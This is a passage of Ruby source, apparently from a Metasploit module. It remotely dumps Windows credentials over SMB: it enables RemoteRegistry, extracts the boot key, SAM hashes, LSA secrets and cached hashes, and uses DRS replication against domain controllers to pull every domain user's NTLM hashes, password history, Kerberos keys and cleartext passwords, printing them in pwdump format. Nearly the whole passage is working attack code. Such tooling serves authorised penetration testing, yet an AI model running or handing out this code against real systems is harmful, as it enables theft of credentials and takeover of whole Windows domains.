"Unable to connect to the remote Security Account Manager (SAM) ([#{e.class}] #{e}). "\  
'Is the remote server a Domain Controller?'  
)  
return  
end  
users = get_domain_users  
  
dcerpc_client = connect_drs  
unless dcerpc_client  
print_error(  
'Unable to connect to the directory replication remote service (DRS).'\  
'Is the remote server a Domain Controller?'  
)  
return  
end  
ph_drs = dcerpc_client.drs_bind  
dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name)  
user_info = {}  
dc_infos.each do |dc_info|  
users.each do |user|  
sid = user[0]  
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])  
crack_names.each do |crack_name|  
user_record = dcerpc_client.drs_get_nc_changes(  
ph_drs,  
nc_guid: crack_name.p_name.to_s.encode('utf-8'),  
dsa_object_guid: dc_info.ntds_dsa_object_guid  
)  
user_info[sid] = parse_user_record(dcerpc_client, user_record)  
end  
  
groups = get_user_groups(sid)  
groups.each do |group|  
case group.name  
when 'BUILTIN\\Administrators'  
user_info[sid][:admin] = true  
when '(domain)\\Domain Admins'  
user_info[sid][:domain_admin] = true  
when '(domain)\\Enterprise Admins'  
user_info[sid][:enterprise_admin] = true  
end  
end  
end  
end  
  
credential_opts = {  
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,  
realm_value: dns_domain_name  
}  
  
print_line('# SID\'s:')  
user_info.each do |sid, info|  
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"  
print_line("#{full_name}: #{sid}")  
end  
  
print_line("\n# NTLM hashes:")  
user_info.each_value do |info|  
hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}"  
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"  
unless report_creds(full_name, hash, **credential_opts)  
vprint_bad("Error when reporting #{full_name} hash")  
end  
print_line("#{full_name}:#{info[:rid]}:#{hash}:::")  
end  
  
print_line("\n# Full pwdump format:")  
user_info.each do |sid, info|  
hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}"  
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"  
pwdump = "#{full_name}:#{info[:rid]}:#{hash}:"  
extra_info = "Disabled=#{info[:disabled].nil? ? 'N/A' : info[:disabled]},"  
extra_info << "Expired=#{!info[:disabled] && info[:expires] && info[:expires] > Time.at(0) && info[:expires] < Time.now},"  
extra_info << "PasswordNeverExpires=#{info[:password_never_expires].nil? ? 'N/A' : info[:password_never_expires]},"  
extra_info << "PasswordNotRequired=#{info[:password_not_required].nil? ? 'N/A' : info[:password_not_required]},"  
extra_info << "PasswordLastChanged=#{info[:pwd_last_set] && info[:pwd_last_set] > Time.at(0) ? info[:pwd_last_set].strftime('%Y%m%d%H%M') : 'never'},"  
extra_info << "LastLogonTimestamp=#{info[:last_logon] && info[:last_logon] > Time.at(0) ? info[:last_logon].strftime('%Y%m%d%H%M') : 'never'},"  
extra_info << "IsAdministrator=#{info[:admin]},"  
extra_info << "IsDomainAdmin=#{info[:domain_admin]},"  
extra_info << "IsEnterpriseAdmin=#{info[:enterprise_admin]}"  
print_line(pwdump + extra_info + '::')  
report_info("#{full_name} (#{sid}): #{extra_info}", 'user.info')  
end  
  
print_line("\n# Account Info:")  
user_info.each_value do |info|  
print_line("## #{info[:dn]}")  
print_line("- Administrator: #{info[:admin]}")  
print_line("- Domain Admin: #{info[:domain_admin]}")  
print_line("- Enterprise Admin: #{info[:enterprise_admin]}")  
print_line("- Password last changed: #{info[:pwd_last_set] && info[:pwd_last_set] > Time.at(0) ? info[:pwd_last_set] : 'never'}")  
print_line("- Last logon: #{info[:last_logon] && info[:last_logon] > Time.at(0) ? info[:last_logon] : 'never'}")  
print_line("- Account disabled: #{info[:disabled].nil? ? 'N/A' : info[:disabled]}")  
print_line("- Computer account: #{info[:computer_account].nil? ? 'N/A' : info[:computer_account]}")  
  
print_line("- Expired: #{!info[:disabled] && info[:expires] && info[:expires] > Time.at(0) && info[:expires] < Time.now}")  
print_line("- Password never expires: #{info[:password_never_expires].nil? ? 'N/A' : info[:password_never_expires]}")  
print_line("- Password not required: #{info[:password_not_required].nil? ? 'N/A' : info[:password_not_required]}")  
end  
  
print_line("\n# Password history (pwdump format - uid:rid:lmhash:nthash:::):")  
if @lm_hash_not_stored.nil?  
print_warning(  
'NoLMHash policy was not retrieved correctly and we don\'t know if '\  
'LMHashes are being stored or not. We are assuming it is stored and '\  
'the lmhash value will be displayed in the following hash. If it is '\  
"not stored, just replace it with the empty lmhash (#{Net::NTLM.lm_hash('').unpack('H*')[0]})"  
)  
end  
user_info.each_value do |info|  
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"  
  
if info[:nt_history].size > 1 || info[:lm_history].size > 1  
info[:nt_history][1..].zip(info[:lm_history][1..]).reverse.each_with_index do |history, i|  
nt_h, lm_h = history  
lm_h = Net::NTLM.lm_hash('') if lm_h.nil? || @lm_hash_not_stored  
history_hash = "#{lm_h.unpack('H*')[0]}:#{nt_h.unpack('H*')[0]}"  
history_name = "#{full_name}_history#{i}"  
unless report_creds(history_name, history_hash, **credential_opts)  
vprint_bad("Error when reporting #{full_name} history hash ##{i}")  
end  
print_line("#{history_name}:#{info[:rid]}:#{history_hash}:::")  
end  
else  
vprint_line("No password history for #{full_name}")  
end  
end  
  
print_line("\n# Kerberos keys:")  
user_info.each_value do |info|  
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"  
  
if info[:kerberos_keys].nil? || info[:kerberos_keys].empty?  
vprint_line("No Kerberos keys for #{full_name}")  
else  
credential_opts[:type] = :krb_enc_key  
info[:kerberos_keys].each do |key|  
krb_enckey = {  
**key,  
# Map the SAMR kerberos key to an IANA compatible enctype before persisting  
enctype: SAMR_KERBEROS_TYPE_TO_IANA[key[:enctype]]  
}  
  
krb_enckey_to_s = krb_enc_key_to_s(krb_enckey)  
key_data = Metasploit::Credential::KrbEncKey.build_data(**krb_enckey)  
unless report_creds(full_name, key_data, **credential_opts)  
vprint_bad("Error when reporting #{full_name} kerberos key #{krb_enckey_to_s}")  
end  
print_line "#{full_name}:#{krb_enckey_to_s}"  
end  
end  
end  
  
print_line("\n# Clear text passwords:")  
user_info.each_value do |info|  
full_name = "#{domain_name}\\#{info[:username]}"  
  
if info[:clear_text_passwords].nil? || info[:clear_text_passwords].empty?  
vprint_line("No clear text passwords for #{full_name}")  
else  
credential_opts[:type] = :password  
info[:clear_text_passwords].each do |passwd|  
unless report_creds(full_name, passwd, **credential_opts)  
vprint_bad("Error when reporting #{full_name} clear text password")  
end  
print_line("#{full_name}:CLEARTEXT:#{passwd}")  
end  
end  
end  
ensure  
@samr.close_handle(@domain_handle) if @domain_handle  
@samr.close_handle(@builtin_domain_handle) if @builtin_domain_handle  
@samr.close_handle(@server_handle) if @server_handle  
@samr.close if @samr  
if dcerpc_client  
dcerpc_client.drs_unbind(ph_drs)  
dcerpc_client.close  
end  
end  
  
def do_cleanup  
print_status('Cleaning up...')  
  
if @service_should_be_stopped  
print_status('Stopping service RemoteRegistry...')  
svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry')  
@svcctl.control_service(svc_handle, RubySMB::Dcerpc::Svcctl::SERVICE_CONTROL_STOP)  
end  
  
if @service_should_be_disabled  
print_status('Disabling service RemoteRegistry...')  
@svcctl.change_service_config_w(svc_handle, start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED)  
end  
rescue RubySMB::Dcerpc::Error::SvcctlError => e  
vprint_warning("An error occurred when cleaning up: #{e}")  
ensure  
@svcctl.close_service_handle(svc_handle) if svc_handle  
end  
  
def open_sc_manager  
vprint_status('Opening Service Control Manager')  
@svcctl = @tree.open_file(filename: 'svcctl', write: true, read: true)  
  
vprint_status('Binding to \\svcctl...')  
@svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)  
vprint_good('Bound to \\svcctl')  
  
@svcctl.open_sc_manager_w(simple.address)  
end  
  
def run  
unless db  
print_warning('Cannot find any active database. Extracted data will only be displayed here and NOT stored.')  
end  
  
if session  
print_status("Using existing session #{session.sid}")  
client = session.client  
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)  
simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too  
else  
connect  
begin  
smb_login  
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e  
fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")  
end  
end  
  
report_service(  
host: simple.address,  
port: simple.port,  
host_name: simple.client.default_name,  
proto: 'tcp',  
name: 'smb',  
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"  
)  
  
begin  
@tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")  
rescue RubySMB::Error::RubySMBError => e  
fail_with(Module::Failure::Unreachable,  
"Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")  
end  
  
begin  
@scm_handle = open_sc_manager  
rescue RubySMB::Error::RubySMBError => e  
print_warning(  
'Unable to connect to the remote Service Control Manager. It will fail '\  
"if the 'RemoteRegistry' service is stopped or disabled ([#{e.class}] #{e})."  
)  
end  
  
begin  
enable_registry if @scm_handle  
rescue RubySMB::Error::RubySMBError => e  
print_error(  
"Error when checking/enabling the 'RemoteRegistry' service. It will "\  
"fail if it is stopped or disabled ([#{e.class}] #{e})."  
)  
end  
  
begin  
@winreg = @tree.open_file(filename: 'winreg', write: true, read: true)  
@winreg.bind(endpoint: RubySMB::Dcerpc::Winreg)  
rescue RubySMB::Error::RubySMBError => e  
if ['DOMAIN', 'ALL'].include?(action.name)  
print_warning(  
"Error when connecting to 'winreg' interface ([#{e.class}] #{e})... skipping"  
)  
else  
fail_with(Module::Failure::Unreachable,  
"Error when connecting to 'winreg' interface ([#{e.class}] #{e})."\  
'If it is a Domain Controller, you can still try DOMAIN action since '\  
'it does not need RemoteRegistry')  
end  
end  
  
unless action.name == 'DOMAIN'  
boot_key = ''  
begin  
boot_key = get_boot_key if @winreg  
rescue RubySMB::Error::RubySMBError => e  
if ['DOMAIN', 'ALL'].include?(action.name)  
print_warning("Error when getting BootKey... skipping: #{e}")  
else  
print_error("Error when getting BootKey: #{e}")  
end  
end  
if boot_key.empty?  
if action.name == 'ALL'  
print_warning('Unable to get BootKey... skipping')  
else  
fail_with(Module::Failure::NotFound,  
'Unable to get BootKey. If it is a Domain Controller, you can still '\  
'try DOMAIN action since it does not need BootKey')  
end  
end  
report_info(boot_key.unpack('H*')[0], 'host.boot_key')  
end  
  
check_lm_hash_not_stored if @winreg  
  
if ['ALL', 'SAM'].include?(action.name)  
if @winreg  
if datastore['INLINE']  
print_status('Using `INLINE` technique for SAM')  
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam, inline: true)  
else  
begin  
sam = save_sam  
windows_reg = Msf::Util::WindowsRegistry.parse(sam, name: :sam, root: 'HKLM\\SAM')  
rescue RubySMB::Error::RubySMBError => e  
print_error("Error when getting SAM hive ([#{e.class}] #{e})")  
end  
end  
  
dump_sam_hashes(windows_reg, boot_key) if windows_reg  
else  
print_bad('Winreg client is not initialized, cannot dump SAM hashes')  
end  
end  
  
if ['ALL', 'CACHE', 'LSA'].include?(action.name)  
if @winreg  
if datastore['INLINE']  
print_status('Using `INLINE` technique for CACHE and LSA')  
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :security, inline: true)  
else  
begin  
security = save_security  
windows_reg = Msf::Util::WindowsRegistry.parse(security, name: :security, root: 'HKLM\\SECURITY')  
rescue RubySMB::Error::RubySMBError => e  
print_error("Error when getting SECURITY hive ([#{e.class}] #{e})")  
end  
end  
  
if windows_reg  
lsa_key = get_lsa_secret_key(windows_reg, boot_key)  
if lsa_key.nil? || lsa_key.empty?  
print_warning('No LSA key, skip LSA secrets and cached hashes dump')  
if datastore['INLINE']  
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')  
end  
else  
report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')  
if ['ALL', 'LSA'].include?(action.name)  
dump_lsa_secrets(windows_reg, lsa_key)  
end  
if ['ALL', 'CACHE'].include?(action.name)  
nlkm_key = get_nlkm_secret_key(windows_reg, lsa_key)  
if nlkm_key.nil? || nlkm_key.empty?  
print_warning('No NLKM key (skip cached hashes dump)')  
if datastore['INLINE']  
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')  
end  
else  
report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')  
dump_cached_hashes(windows_reg, nlkm_key)  
end  
end  
end  
end  
else  
print_bad('Winreg client is not initialized, cannot dump LSA secrets and cached hashes')  
end  
end  
  
if ['ALL', 'DOMAIN'].include?(action.name)  
dump_ntds_hashes  
end  
  
do_cleanup  
rescue RubySMB::Error::RubySMBError => e  
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")  
rescue Rex::ConnectionError => e  
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")  
rescue ::StandardError => e  
do_cleanup  
raise e  
ensure  
if @svcctl  
@svcctl.close_service_handle(@scm_handle) if @scm_handle  
@svcctl.close  
end  
@winreg.close if @winreg  
@tree.disconnect! if @tree  
# Don't disconnect the client if it's coming from the session so it can be reused  
unless session  
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)  
disconnect  
end  
end  
  
private  
  
# @param [Hash] data The keyberos enc key, containing enctype, key and salt  
def krb_enc_key_to_s(data)  
enctype_name = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[data[:enctype]] || "0x#{data[:enctype].to_i.to_s(16)}"  
"#{enctype_name}:#{data[:key].unpack1('H*')}"  
end  
end